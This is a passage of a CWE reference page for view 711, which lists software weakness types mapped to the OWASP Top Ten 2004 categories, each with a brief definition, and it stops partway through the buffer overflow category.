CWE

Common Weakness Enumeration

A Community-Developed List of Software Weakness Types

CWE/SANS Top 25 Most Dangerous Software Errors
Home > CWE List > VIEW SLICE: CWE-711: Weaknesses in OWASP Top Ten (2004) (2.11)  
ID

CWE VIEW: Weaknesses in OWASP Top Ten (2004)

View ID: 711
Structure: Graph
Status: Incomplete
Presentation Filter:
+ View Data

View Objective

CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2004, and as required for compliance with PCI DSS version 1.1.

+ View Audience
StakeholderDescription
Developers

This view outlines the most important issues as identified by the OWASP Top Ten (2004 version), providing a good starting point for web application developers who want to code more securely, as well as complying with PCI DSS 1.1.

Software_Customers

This view outlines the most important issues as identified by the OWASP Top Ten, providing customers with a way of asking their software developers to follow minimum expectations for secure code, in compliance with PCI-DSS 1.1.

Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students. However, the 2007 version (CWE-629) might be more appropriate.

+ Relationships
Show Details:
711 - Weaknesses in OWASP Top Ten (2004)
+CategoryCategoryOWASP Top Ten 2004 Category A1 - Unvalidated Input - (722)
711 (Weaknesses in OWASP Top Ten (2004)) > 722 (OWASP Top Ten 2004 Category A1 - Unvalidated Input)
Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2004.
*Weakness BaseWeakness BaseClient-Side Enforcement of Server-Side Security - (602)
711 (Weaknesses in OWASP Top Ten (2004)) > 722 (OWASP Top Ten 2004 Category A1 - Unvalidated Input) > 602 (Client-Side Enforcement of Server-Side Security)
The software is composed of a server that relies on the client to implement a mechanism that is intended to protect the server.
*Weakness BaseWeakness BaseCollapse of Data into Unsafe Value - (182)
711 (Weaknesses in OWASP Top Ten (2004)) > 722 (OWASP Top Ten 2004 Category A1 - Unvalidated Input) > 182 (Collapse of Data into Unsafe Value)
The software filters data in a way that causes it to be reduced or "collapsed" into an unsafe value that violates an expected security property.
*Weakness BaseWeakness BaseExternal Control of Assumed-Immutable Web Parameter - (472)
711 (Weaknesses in OWASP Top Ten (2004)) > 722 (OWASP Top Ten 2004 Category A1 - Unvalidated Input) > 472 (External Control of Assumed-Immutable Web Parameter)
The web application does not sufficiently verify inputs that are assumed to be immutable but are actually externally controllable, such as hidden form fields.Assumed-Immutable Parameter Tampering
*Weakness BaseWeakness BaseImproper Handling of Additional Special Element - (167)
711 (Weaknesses in OWASP Top Ten (2004)) > 722 (OWASP Top Ten 2004 Category A1 - Unvalidated Input) > 167 (Improper Handling of Additional Special Element)
The software receives input from an upstream component, but it does not handle or incorrectly handles when an additional unexpected special element is missing.
*Weakness BaseWeakness BaseImproper Handling of Missing Special Element - (166)
711 (Weaknesses in OWASP Top Ten (2004)) > 722 (OWASP Top Ten 2004 Category A1 - Unvalidated Input) > 166 (Improper Handling of Missing Special Element)
The software receives input from an upstream component, but it does not handle or incorrectly handles when an expected special element is missing.
*Weakness ClassWeakness ClassImproper Input Validation - (20)
711 (Weaknesses in OWASP Top Ten (2004)) > 722 (OWASP Top Ten 2004 Category A1 - Unvalidated Input) > 20 (Improper Input Validation)
The product does not validate or incorrectly validates input that can affect the control flow or data flow of a program.
*Weakness BaseWeakness BaseIncorrect Behavior Order: Early Validation - (179)
711 (Weaknesses in OWASP Top Ten (2004)) > 722 (OWASP Top Ten 2004 Category A1 - Unvalidated Input) > 179 (Incorrect Behavior Order: Early Validation)
The software validates input before applying protection mechanisms that modify the input, which could allow an attacker to bypass the validation via dangerous inputs that only arise after the modification.
*Weakness BaseWeakness BaseIncorrect Behavior Order: Validate Before Canonicalize - (180)
711 (Weaknesses in OWASP Top Ten (2004)) > 722 (OWASP Top Ten 2004 Category A1 - Unvalidated Input) > 180 (Incorrect Behavior Order: Validate Before Canonicalize)
The software validates input before it is canonicalized, which prevents the software from detecting data that becomes invalid after the canonicalization step.
*Weakness BaseWeakness BaseIncorrect Behavior Order: Validate Before Filter - (181)
711 (Weaknesses in OWASP Top Ten (2004)) > 722 (OWASP Top Ten 2004 Category A1 - Unvalidated Input) > 181 (Incorrect Behavior Order: Validate Before Filter)
The software validates data before it has been filtered, which prevents the software from detecting data that becomes invalid after the filtering step.Validate-before-cleanse
*Weakness BaseWeakness BasePermissive Whitelist - (183)
711 (Weaknesses in OWASP Top Ten (2004)) > 722 (OWASP Top Ten 2004 Category A1 - Unvalidated Input) > 183 (Permissive Whitelist)
An application uses a "whitelist" of acceptable values, but the whitelist includes at least one unsafe value, leading to resultant weaknesses.
*Weakness VariantWeakness VariantStruts: Duplicate Validation Forms - (102)
711 (Weaknesses in OWASP Top Ten (2004)) > 722 (OWASP Top Ten 2004 Category A1 - Unvalidated Input) > 102 (Struts: Duplicate Validation Forms)
The application uses multiple validation forms with the same name, which might cause the Struts Validator to validate a form that the programmer does not expect.
*Weakness VariantWeakness VariantStruts: Form Bean Does Not Extend Validation Class - (104)
711 (Weaknesses in OWASP Top Ten (2004)) > 722 (OWASP Top Ten 2004 Category A1 - Unvalidated Input) > 104 (Struts: Form Bean Does Not Extend Validation Class)
If a form bean does not extend an ActionForm subclass of the Validator framework, it can expose the application to other weaknesses related to insufficient input validation.
*Weakness VariantWeakness VariantStruts: Incomplete validate() Method Definition - (103)
711 (Weaknesses in OWASP Top Ten (2004)) > 722 (OWASP Top Ten 2004 Category A1 - Unvalidated Input) > 103 (Struts: Incomplete validate() Method Definition)
The application has a validator form that either does not define a validate() method, or defines a validate() method but does not call super.validate().
*Weakness VariantWeakness VariantStruts: Plug-in Framework not in Use - (106)
711 (Weaknesses in OWASP Top Ten (2004)) > 722 (OWASP Top Ten 2004 Category A1 - Unvalidated Input) > 106 (Struts: Plug-in Framework not in Use)
When an application does not use an input validation framework such as the Struts Validator, there is a greater risk of introducing weaknesses related to insufficient input validation.
*Weakness VariantWeakness VariantStruts: Validator Turned Off - (109)
711 (Weaknesses in OWASP Top Ten (2004)) > 722 (OWASP Top Ten 2004 Category A1 - Unvalidated Input) > 109 (Struts: Validator Turned Off)
Automatic filtering via a Struts bean has been turned off, which disables the Struts Validator and custom validation logic. This exposes the application to other weaknesses related to insufficient input validation.
*Weakness VariantWeakness VariantURL Redirection to Untrusted Site ('Open Redirect') - (601)
711 (Weaknesses in OWASP Top Ten (2004)) > 722 (OWASP Top Ten 2004 Category A1 - Unvalidated Input) > 601 (URL Redirection to Untrusted Site ('Open Redirect'))
A web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. This simplifies phishing attacks.Open RedirectCross-site RedirectCross-domain Redirect
*Weakness BaseWeakness BaseBuffer Copy without Checking Size of Input ('Classic Buffer Overflow') - (120)
711 (Weaknesses in OWASP Top Ten (2004)) > 722 (OWASP Top Ten 2004 Category A1 - Unvalidated Input) > 120 (Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'))
The program copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.buffer overrunUnbounded Transfer
*Weakness BaseWeakness BaseDirect Request ('Forced Browsing') - (425)
711 (Weaknesses in OWASP Top Ten (2004)) > 722 (OWASP Top Ten 2004 Category A1 - Unvalidated Input) > 425 (Direct Request ('Forced Browsing'))
The web application does not adequately enforce appropriate authorization on all restricted URLs, scripts, or files.forced browsing
*Weakness BaseWeakness BaseImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') - (79)
711 (Weaknesses in OWASP Top Ten (2004)) > 722 (OWASP Top Ten 2004 Category A1 - Unvalidated Input) > 79 (Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'))
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.XSSCSS
*Weakness ClassWeakness ClassImproper Neutralization of Special Elements used in a Command ('Command Injection') - (77)
711 (Weaknesses in OWASP Top Ten (2004)) > 722 (OWASP Top Ten 2004 Category A1 - Unvalidated Input) > 77 (Improper Neutralization of Special Elements used in a Command ('Command Injection'))
The software constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
*Weakness BaseWeakness BaseImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection') - (89)
711 (Weaknesses in OWASP Top Ten (2004)) > 722 (OWASP Top Ten 2004 Category A1 - Unvalidated Input) > 89 (Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'))
The software constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component.
+CategoryCategoryOWASP Top Ten 2004 Category A10 - Insecure Configuration Management - (731)
711 (Weaknesses in OWASP Top Ten (2004)) > 731 (OWASP Top Ten 2004 Category A10 - Insecure Configuration Management)
Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2004.
*CategoryCategoryASP.NET Environment Issues - (10)
711 (Weaknesses in OWASP Top Ten (2004)) > 731 (OWASP Top Ten 2004 Category A10 - Insecure Configuration Management) > 10 (ASP.NET Environment Issues)
ASP.NET framework/language related environment issues with security implications.
*Weakness VariantWeakness VariantExposure of Access Control List Files to an Unauthorized Control Sphere - (529)
711 (Weaknesses in OWASP Top Ten (2004)) > 731 (OWASP Top Ten 2004 Category A10 - Insecure Configuration Management) > 529 (Exposure of Access Control List Files to an Unauthorized Control Sphere)
The product stores access control list files in a directory or other container that is accessible to actors outside of the intended control sphere.
*Weakness VariantWeakness VariantExposure of Backup File to an Unauthorized Control Sphere - (530)
711 (Weaknesses in OWASP Top Ten (2004)) > 731 (OWASP Top Ten 2004 Category A10 - Insecure Configuration Management) > 530 (Exposure of Backup File to an Unauthorized Control Sphere)
A backup file is stored in a directory that is accessible to actors outside of the intended control sphere.
*Weakness VariantWeakness VariantExposure of CVS Repository to an Unauthorized Control Sphere - (527)
711 (Weaknesses in OWASP Top Ten (2004)) > 731 (OWASP Top Ten 2004 Category A10 - Insecure Configuration Management) > 527 (Exposure of CVS Repository to an Unauthorized Control Sphere)
The product stores a CVS repository in a directory or other container that is accessible to actors outside of the intended control sphere.
*Weakness VariantWeakness VariantExposure of Core Dump File to an Unauthorized Control Sphere - (528)
711 (Weaknesses in OWASP Top Ten (2004)) > 731 (OWASP Top Ten 2004 Category A10 - Insecure Configuration Management) > 528 (Exposure of Core Dump File to an Unauthorized Control Sphere)
The product generates a core dump file in a directory that is accessible to actors outside of the intended control sphere.
*Weakness BaseWeakness BaseFiles or Directories Accessible to External Parties - (552)
711 (Weaknesses in OWASP Top Ten (2004)) > 731 (OWASP Top Ten 2004 Category A10 - Insecure Configuration Management) > 552 (Files or Directories Accessible to External Parties)
Files or directories are accessible in the environment that should not be.
*Weakness BaseWeakness BaseImproper Certificate Validation - (295)
711 (Weaknesses in OWASP Top Ten (2004)) > 731 (OWASP Top Ten 2004 Category A10 - Insecure Configuration Management) > 295 (Improper Certificate Validation)
The software does not validate, or incorrectly validates, a certificate.
*Weakness BaseWeakness BaseIncomplete Cleanup - (459)
711 (Weaknesses in OWASP Top Ten (2004)) > 731 (OWASP Top Ten 2004 Category A10 - Insecure Configuration Management) > 459 (Incomplete Cleanup)
The software does not properly "clean up" and remove temporary or supporting resources after they have been used.Insufficient Cleanup
*Weakness VariantWeakness VariantInformation Exposure Through Cleanup Log Files - (542)
711 (Weaknesses in OWASP Top Ten (2004)) > 731 (OWASP Top Ten 2004 Category A10 - Insecure Configuration Management) > 542 (Information Exposure Through Cleanup Log Files)
The application does not properly protect or delete a log file related to cleanup.
*Weakness VariantWeakness VariantInformation Exposure Through Debug Information - (215)
711 (Weaknesses in OWASP Top Ten (2004)) > 731 (OWASP Top Ten 2004 Category A10 - Insecure Configuration Management) > 215 (Information Exposure Through Debug Information)
The application contains debugging code that can expose sensitive information to untrusted parties.
*Weakness VariantWeakness VariantInformation Exposure Through Debug Log Files - (534)
711 (Weaknesses in OWASP Top Ten (2004)) > 731 (OWASP Top Ten 2004 Category A10 - Insecure Configuration Management) > 534 (Information Exposure Through Debug Log Files)
The application does not sufficiently restrict access to a log file that is used for debugging.
*Weakness VariantWeakness VariantInformation Exposure Through Directory Listing - (548)
711 (Weaknesses in OWASP Top Ten (2004)) > 731 (OWASP Top Ten 2004 Category A10 - Insecure Configuration Management) > 548 (Information Exposure Through Directory Listing)
A directory listing is inappropriately exposed, yielding potentially sensitive information to attackers.
*Weakness VariantWeakness VariantInformation Exposure Through Environmental Variables - (526)
711 (Weaknesses in OWASP Top Ten (2004)) > 731 (OWASP Top Ten 2004 Category A10 - Insecure Configuration Management) > 526 (Information Exposure Through Environmental Variables)
Environmental variables may contain sensitive information about a remote server.
*Weakness VariantWeakness VariantInformation Exposure Through Include Source Code - (541)
711 (Weaknesses in OWASP Top Ten (2004)) > 731 (OWASP Top Ten 2004 Category A10 - Insecure Configuration Management) > 541 (Information Exposure Through Include Source Code)
If an include file source is accessible, the file can contain usernames and passwords, as well as sensitive information pertaining to the application and system.
*Weakness VariantWeakness VariantInformation Exposure Through Log Files - (532)
711 (Weaknesses in OWASP Top Ten (2004)) > 731 (OWASP Top Ten 2004 Category A10 - Insecure Configuration Management) > 532 (Information Exposure Through Log Files)
Information written to log files can be of a sensitive nature and give valuable guidance to an attacker or expose sensitive user information.
*Weakness VariantWeakness VariantInformation Exposure Through Server Log Files - (533)
711 (Weaknesses in OWASP Top Ten (2004)) > 731 (OWASP Top Ten 2004 Category A10 - Insecure Configuration Management) > 533 (Information Exposure Through Server Log Files)
A server.log file was found. This can give information on whatever application left the file. Usually this can give full path names and system information, and sometimes usernames and passwords.
*Weakness VariantWeakness VariantInformation Exposure Through Source Code - (540)
711 (Weaknesses in OWASP Top Ten (2004)) > 731 (OWASP Top Ten 2004 Category A10 - Insecure Configuration Management) > 540 (Information Exposure Through Source Code)
Source code on a web server often contains sensitive information and should generally not be accessible to users.
*Weakness VariantWeakness VariantInformation Exposure Through Test Code - (531)
711 (Weaknesses in OWASP Top Ten (2004)) > 731 (OWASP Top Ten 2004 Category A10 - Insecure Configuration Management) > 531 (Information Exposure Through Test Code)
Accessible test applications can pose a variety of security risks. Since developers or administrators rarely consider that someone besides themselves would even know about the existence of these applications, it is common for them to contain sensitive information or functions.
*CategoryCategoryJ2EE Environment Issues - (4)
711 (Weaknesses in OWASP Top Ten (2004)) > 731 (OWASP Top Ten 2004 Category A10 - Insecure Configuration Management) > 4 (J2EE Environment Issues)
J2EE framework related environment issues with security implications.
*Weakness BaseWeakness BaseLeftover Debug Code - (489)
711 (Weaknesses in OWASP Top Ten (2004)) > 731 (OWASP Top Ten 2004 Category A10 - Insecure Configuration Management) > 489 (Leftover Debug Code)
The application can be deployed with active debugging code that can create unintended entry points.
*Weakness VariantWeakness VariantSensitive Data Under Web Root - (219)
711 (Weaknesses in OWASP Top Ten (2004)) > 731 (OWASP Top Ten 2004 Category A10 - Insecure Configuration Management) > 219 (Sensitive Data Under Web Root)
The application stores sensitive data under the web document root with insufficient access control, which might make it accessible to untrusted parties.
*Weakness BaseWeakness BaseInformation Exposure Through an Error Message - (209)
711 (Weaknesses in OWASP Top Ten (2004)) > 731 (OWASP Top Ten 2004 Category A10 - Insecure Configuration Management) > 209 (Information Exposure Through an Error Message)
The software generates an error message that includes sensitive information about its environment, users, or associated data.
*CategoryCategoryPermission Issues - (275)
711 (Weaknesses in OWASP Top Ten (2004)) > 731 (OWASP Top Ten 2004 Category A10 - Insecure Configuration Management) > 275 (Permission Issues)
Weaknesses in this category are related to improper assignment or handling of permissions.
+CategoryCategoryOWASP Top Ten 2004 Category A2 - Broken Access Control - (723)
711 (Weaknesses in OWASP Top Ten (2004)) > 723 (OWASP Top Ten 2004 Category A2 - Broken Access Control)
Weaknesses in this category are related to the A2 category in the OWASP Top Ten 2004.
*Weakness VariantWeakness VariantASP.NET Misconfiguration: Use of Identity Impersonation - (556)
711 (Weaknesses in OWASP Top Ten (2004)) > 723 (OWASP Top Ten 2004 Category A2 - Broken Access Control) > 556 (ASP.NET Misconfiguration: Use of Identity Impersonation)
Configuring an ASP.NET application to run with impersonated credentials may give the application unnecessary privileges.
*Weakness BaseWeakness BaseAuthorization Bypass Through User-Controlled Key - (639)
711 (Weaknesses in OWASP Top Ten (2004)) > 723 (OWASP Top Ten 2004 Category A2 - Broken Access Control) > 639 (Authorization Bypass Through User-Controlled Key)
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.Insecure Direct Object ReferenceHorizontal Authorization
*Weakness BaseWeakness BaseDirect Request ('Forced Browsing') - (425)
711 (Weaknesses in OWASP Top Ten (2004)) > 723 (OWASP Top Ten 2004 Category A2 - Broken Access Control) > 425 (Direct Request ('Forced Browsing'))
The web application does not adequately enforce appropriate authorization on all restricted URLs, scripts, or files.forced browsing
*Weakness ClassWeakness ClassExternal Control of File Name or Path - (73)
711 (Weaknesses in OWASP Top Ten (2004)) > 723 (OWASP Top Ten 2004 Category A2 - Broken Access Control) > 73 (External Control of File Name or Path)
The software allows user input to control or influence paths or file names that are used in filesystem operations.
*Weakness ClassWeakness ClassImproper Access Control - (284)
711 (Weaknesses in OWASP Top Ten (2004)) > 723 (OWASP Top Ten 2004 Category A2 - Broken Access Control) > 284 (Improper Access Control)
The software does not restrict or incorrectly restricts access to a resource from an unauthorized actor.Authorization
*Weakness ClassWeakness ClassImproper Authorization - (285)
711 (Weaknesses in OWASP Top Ten (2004)) > 723 (OWASP Top Ten 2004 Category A2 - Broken Access Control) > 285 (Improper Authorization)
The software does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.AuthZ
*Weakness ClassWeakness ClassImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal') - (22)
711 (Weaknesses in OWASP Top Ten (2004)) > 723 (OWASP Top Ten 2004 Category A2 - Broken Access Control) > 22 (Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'))
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.Directory traversalPath traversal
*Weakness BaseWeakness BaseImproper Resolution of Path Equivalence - (41)
711 (Weaknesses in OWASP Top Ten (2004)) > 723 (OWASP Top Ten 2004 Category A2 - Broken Access Control) > 41 (Improper Resolution of Path Equivalence)
The system or application is vulnerable to file system contents disclosure through path equivalence. Path equivalence involves the use of special characters in file and directory names. The associated manipulations are intended to generate multiple names for the same object.
*Weakness BaseWeakness BaseIncorrect Behavior Order: Authorization Before Parsing and Canonicalization - (551)
711 (Weaknesses in OWASP Top Ten (2004)) > 723 (OWASP Top Ten 2004 Category A2 - Broken Access Control) > 551 (Incorrect Behavior Order: Authorization Before Parsing and Canonicalization)
If a web server does not fully parse requested URLs before it examines them for authorization, it may be possible for an attacker to bypass authorization protection.
*Weakness BaseWeakness BaseIncorrect Ownership Assignment - (708)
711 (Weaknesses in OWASP Top Ten (2004)) > 723 (OWASP Top Ten 2004 Category A2 - Broken Access Control) > 708 (Incorrect Ownership Assignment)
The software assigns an owner to a resource, but the owner is outside of the intended control sphere.
*Weakness BaseWeakness BaseIncorrect Privilege Assignment - (266)
711 (Weaknesses in OWASP Top Ten (2004)) > 723 (OWASP Top Ten 2004 Category A2 - Broken Access Control) > 266 (Incorrect Privilege Assignment)
A product incorrectly assigns a privilege to a particular actor, creating an unintended sphere of control for that actor.
*Weakness VariantWeakness VariantInformation Exposure Through Browser Caching - (525)
711 (Weaknesses in OWASP Top Ten (2004)) > 723 (OWASP Top Ten 2004 Category A2 - Broken Access Control) > 525 (Information Exposure Through Browser Caching)
For each web page, the application should have an appropriate caching policy specifying the extent to which the page and its form fields should be cached.
*Weakness VariantWeakness VariantJ2EE Misconfiguration: Weak Access Permissions for EJB Methods - (9)
711 (Weaknesses in OWASP Top Ten (2004)) > 723 (OWASP Top Ten 2004 Category A2 - Broken Access Control) > 9 (J2EE Misconfiguration: Weak Access Permissions for EJB Methods)
If elevated access rights are assigned to EJB methods, then an attacker can take advantage of the permissions to exploit the software system.
*CategoryCategoryPermission Issues - (275)
711 (Weaknesses in OWASP Top Ten (2004)) > 723 (OWASP Top Ten 2004 Category A2 - Broken Access Control) > 275 (Permission Issues)
Weaknesses in this category are related to improper assignment or handling of permissions.
*Weakness BaseWeakness BasePrivilege Chaining - (268)
711 (Weaknesses in OWASP Top Ten (2004)) > 723 (OWASP Top Ten 2004 Category A2 - Broken Access Control) > 268 (Privilege Chaining)
Two distinct privileges, roles, capabilities, or rights can be combined in a way that allows an entity to perform unsafe actions that would not be allowed without that combination.
*Weakness BaseWeakness BaseUnverified Ownership - (283)
711 (Weaknesses in OWASP Top Ten (2004)) > 723 (OWASP Top Ten 2004 Category A2 - Broken Access Control) > 283 (Unverified Ownership)
The software does not properly verify that a critical resource is owned by the proper entity.
*Weakness ClassWeakness ClassUse of Insufficiently Random Values - (330)
711 (Weaknesses in OWASP Top Ten (2004)) > 723 (OWASP Top Ten 2004 Category A2 - Broken Access Control) > 330 (Use of Insufficiently Random Values)
The software may use insufficiently random numbers or values in a security context that depends on unpredictable numbers.
+CategoryCategoryOWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management - (724)
711 (Weaknesses in OWASP Top Ten (2004)) > 724 (OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management)
Weaknesses in this category are related to the A3 category in the OWASP Top Ten 2004.
*Weakness VariantWeakness VariantAuthentication Bypass by Assumed-Immutable Data - (302)
711 (Weaknesses in OWASP Top Ten (2004)) > 724 (OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management) > 302 (Authentication Bypass by Assumed-Immutable Data)
The authentication scheme or implementation uses key data elements that are assumed to be immutable, but can be controlled or modified by the attacker.
*CategoryCategoryCredentials Management - (255)
711 (Weaknesses in OWASP Top Ten (2004)) > 724 (OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management) > 255 (Credentials Management)
Weaknesses in this category are related to the management of credentials.
*Weakness ClassWeakness ClassImproper Authentication - (287)
711 (Weaknesses in OWASP Top Ten (2004)) > 724 (OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management) > 287 (Improper Authentication)
When an actor claims to have a given identity, the software does not prove or insufficiently proves that the claim is correct.authentificationAuthC
*Weakness BaseWeakness BaseImproper Following of a Certificate's Chain of Trust - (296)
711 (Weaknesses in OWASP Top Ten (2004)) > 724 (OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management) > 296 (Improper Following of a Certificate's Chain of Trust)
The software does not follow, or incorrectly follows, the chain of trust for a certificate back to a trusted root certificate, resulting in incorrect trust of any resource that is associated with that certificate.
*Weakness BaseWeakness BaseImproper Restriction of Excessive Authentication Attempts - (307)
711 (Weaknesses in OWASP Top Ten (2004)) > 724 (OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management) > 307 (Improper Restriction of Excessive Authentication Attempts)
The software does not implement sufficient measures to prevent multiple failed authentication attempts within in a short time frame, making it more susceptible to brute force attacks.
*Weakness VariantWeakness VariantImproper Validation of Certificate Expiration - (298)
711 (Weaknesses in OWASP Top Ten (2004)) > 724 (OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management) > 298 (Improper Validation of Certificate Expiration)
A certificate expiration is not validated or is incorrectly validated, so trust may be assigned to certificates that have been abandoned due to age.
*Weakness BaseWeakness BaseInsufficient Session Expiration - (613)
711 (Weaknesses in OWASP Top Ten (2004)) > 724 (OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management) > 613 (Insufficient Session Expiration)
According to WASC, "Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization."
*Weakness ClassWeakness ClassInsufficient Verification of Data Authenticity - (345)
711 (Weaknesses in OWASP Top Ten (2004)) > 724 (OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management) > 345 (Insufficient Verification of Data Authenticity)
The software does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.
*Weakness BaseWeakness BaseInsufficiently Protected Credentials - (522)
711 (Weaknesses in OWASP Top Ten (2004)) > 724 (OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management) > 522 (Insufficiently Protected Credentials)
This weakness occurs when the application transmits or stores authentication credentials and uses an insecure method that is susceptible to unauthorized interception and/or retrieval.
*Weakness BaseWeakness BaseMissing Critical Step in Authentication - (304)
711 (Weaknesses in OWASP Top Ten (2004)) > 724 (OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management) > 304 (Missing Critical Step in Authentication)
The software implements an authentication technique, but it skips a step that weakens the technique.
+Compound Element: CompositeCompound Element: CompositeSession Fixation - (384)
711 (Weaknesses in OWASP Top Ten (2004)) > 724 (OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management) > 384 (Session Fixation)
Authenticating a user, or otherwise establishing a new user session, without invalidating any existing session identifier gives an attacker the opportunity to steal authenticated sessions.
*Weakness BaseWeakness BaseExternal Control of Assumed-Immutable Web Parameter - (472)
711 (Weaknesses in OWASP Top Ten (2004)) > 724 (OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management) > 384 (Session Fixation) > 472 (External Control of Assumed-Immutable Web Parameter)
The web application does not sufficiently verify inputs that are assumed to be immutable but are actually externally controllable, such as hidden form fields.Assumed-Immutable Parameter Tampering
*Weakness BaseWeakness BaseOrigin Validation Error - (346)
711 (Weaknesses in OWASP Top Ten (2004)) > 724 (OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management) > 384 (Session Fixation) > 346 (Origin Validation Error)
The software does not properly verify that the source of data or communication is valid.
*Weakness ClassWeakness ClassUnintended Proxy or Intermediary ('Confused Deputy') - (441)
711 (Weaknesses in OWASP Top Ten (2004)) > 724 (OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management) > 384 (Session Fixation) > 441 (Unintended Proxy or Intermediary ('Confused Deputy'))
The software receives a request, message, or directive from an upstream component, but the software does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the software's control sphere. This causes the software to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.Confused Deputy
*Weakness VariantWeakness VariantUnverified Password Change - (620)
711 (Weaknesses in OWASP Top Ten (2004)) > 724 (OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management) > 620 (Unverified Password Change)
When setting a new password for a user, the product does not require knowledge of the original password, or using another form of authentication.
*Weakness BaseWeakness BaseUse of Hard-coded Credentials - (798)
711 (Weaknesses in OWASP Top Ten (2004)) > 724 (OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management) > 798 (Use of Hard-coded Credentials)
The software contains hard-coded credentials, such as a password or cryptographic key, which it uses for its own inbound authentication, outbound communication to external components, or encryption of internal data.
*Weakness BaseWeakness BaseUse of Hard-coded Password - (259)
711 (Weaknesses in OWASP Top Ten (2004)) > 724 (OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management) > 259 (Use of Hard-coded Password)
The software contains a hard-coded password, which it uses for its own inbound authentication or for outbound communication to external components.
*Weakness BaseWeakness BaseUse of Password System for Primary Authentication - (309)
711 (Weaknesses in OWASP Top Ten (2004)) > 724 (OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management) > 309 (Use of Password System for Primary Authentication)
The use of password systems as the primary means of authentication may be subject to several flaws or shortcomings, each reducing the effectiveness of the mechanism.
*Weakness BaseWeakness BaseWeak Password Recovery Mechanism for Forgotten Password - (640)
711 (Weaknesses in OWASP Top Ten (2004)) > 724 (OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management) > 640 (Weak Password Recovery Mechanism for Forgotten Password)
The software contains a mechanism for users to recover or change their passwords without knowing the original password, but the mechanism is weak.
*Weakness BaseWeakness BaseWeak Password Requirements - (521)
711 (Weaknesses in OWASP Top Ten (2004)) > 724 (OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management) > 521 (Weak Password Requirements)
The product does not require that users should have strong passwords, which makes it easier for attackers to compromise user accounts.
*Weakness VariantWeakness VariantInformation Exposure Through Browser Caching - (525)
711 (Weaknesses in OWASP Top Ten (2004)) > 724 (OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management) > 525 (Information Exposure Through Browser Caching)
For each web page, the application should have an appropriate caching policy specifying the extent to which the page and its form fields should be cached.
+CategoryCategoryOWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws - (725)
711 (Weaknesses in OWASP Top Ten (2004)) > 725 (OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws)
Weaknesses in this category are related to the A4 category in the OWASP Top Ten 2004.
*Weakness VariantWeakness VariantImproper Neutralization of HTTP Headers for Scripting Syntax - (644)
711 (Weaknesses in OWASP Top Ten (2004)) > 725 (OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws) > 644 (Improper Neutralization of HTTP Headers for Scripting Syntax)
The application does not neutralize or incorrectly neutralizes web scripting syntax in HTTP headers that can be used by web browser components that can process raw headers, such as Flash.
*Weakness BaseWeakness BaseImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') - (79)
711 (Weaknesses in OWASP Top Ten (2004)) > 725 (OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws) > 79 (Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'))
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.XSSCSS
+CategoryCategoryOWASP Top Ten 2004 Category A5 - Buffer Overflows - (726)
711 (Weaknesses in OWASP Top Ten (2004)) > 726 (OWASP Top Ten 2004 Category A5 - Buffer Overflows)
Weaknesses in this category are related to the A5 category in the OWASP Top Ten 2004.
*Weakness BaseWeakness BaseBuffer Copy without Checking Size of Input ('Classic Buffer Overflow') - (120)
711 (Weaknesses in OWASP Top Ten (2004)) > 726 (OWASP Top Ten 2004 Category A5 - Buffer Overflows) > 120 (Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'))
